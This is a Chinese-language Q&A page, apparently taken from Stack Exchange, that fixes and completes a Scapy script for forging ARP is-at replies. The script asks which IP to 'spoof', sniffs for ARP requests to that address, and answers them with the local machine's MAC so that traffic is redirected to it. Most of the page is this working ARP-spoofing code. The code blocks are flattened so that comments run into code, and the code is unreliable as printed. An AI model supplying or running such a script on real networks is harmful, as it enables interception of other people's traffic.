Scapy发送伪造ARP包默认广播问题及本机MAC自动检测求助
问题与解决方案
问题描述
- 在合法网络中使用Scapy发送伪造ARP is-at数据包进行流量导向时,出现警告:
WARNING: Mac address to reach destination not found. Using broadcast. - 需要自动检测运行程序的本机MAC地址,避免手动填写。
解决方案
1. 自动获取本机MAC地址
Scapy提供了直接获取网卡MAC的方法,使用get_if_hwaddr()函数结合默认网卡conf.iface即可自动获取:
from scapy.all import conf, get_if_hwaddr # 获取默认网卡的本机MAC local_mac = get_if_hwaddr(conf.iface)
如果需要指定特定网卡(如eth0或wlan0),直接传入网卡名称即可:
local_mac = get_if_hwaddr("eth0")
2. 解决ARP广播警告
原代码中使用sr()函数发送数据包,该函数用于三层数据包的发送与响应接收,会自动尝试通过ARP查询目标MAC,导致冲突警告。我们已经手动构造了完整的二层Ethernet帧,应该使用sendp()函数发送二层数据包,它会直接使用我们指定的目标MAC,不会触发额外的ARP查询。
修改后的完整代码
from scapy.all import * # 自动获取本机默认网卡的MAC地址 local_mac = get_if_hwaddr(conf.iface) arpkt = Ether()/ARP() # 输入目标IP dst = input("选择要欺骗的IP地址: ") # Ethernet层设置 arpkt[Ether].src = local_mac arpkt[Ether].type = 2054 # ARP协议类型 # ARP层设置 arpkt[ARP].hwtype = 1 arpkt[ARP].ptype = 2048 # IPv4协议类型 arpkt[ARP].hwlen = 6 arpkt[ARP].plen = 4 arpkt[ARP].op = 2 # is-at操作码 arpkt[ARP].hwsrc = local_mac arpkt[ARP].psrc = dst # 伪装成目标IP # 开始嗅探ARP数据包 pkts = sniff(count=1, filter="arp") # 过滤出目标IP的ARP请求包 while pkts[0].pdst != dst or pkts[0].op != 1: pkts = sniff(count=1, filter="arp") print(f"来自 {pkts[0].psrc} 的ARP包") # 构造响应包的目标信息 if pkts[0].pdst == dst: arpkt[Ether].dst = pkts[0].src arpkt[ARP].pdst = pkts[0].psrc arpkt[ARP].hwdst = pkts[0].hwsrc # 调试信息 pkts[0].show() arpkt.show() # 使用sendp发送二层数据包,替代sr() sendp(arpkt, verbose=1) arpkt.show()
关键修改说明
- 新增自动获取本机MAC的代码,替换原手动填写的空字符串
- 将
sr(arpkt)改为sendp(arpkt),避免触发额外ARP查询,消除警告 - 调整循环条件逻辑,确保只处理目标IP的ARP请求包
内容的提问来源于stack exchange,提问作者FireFlower
相关产品推荐
相关产品推荐

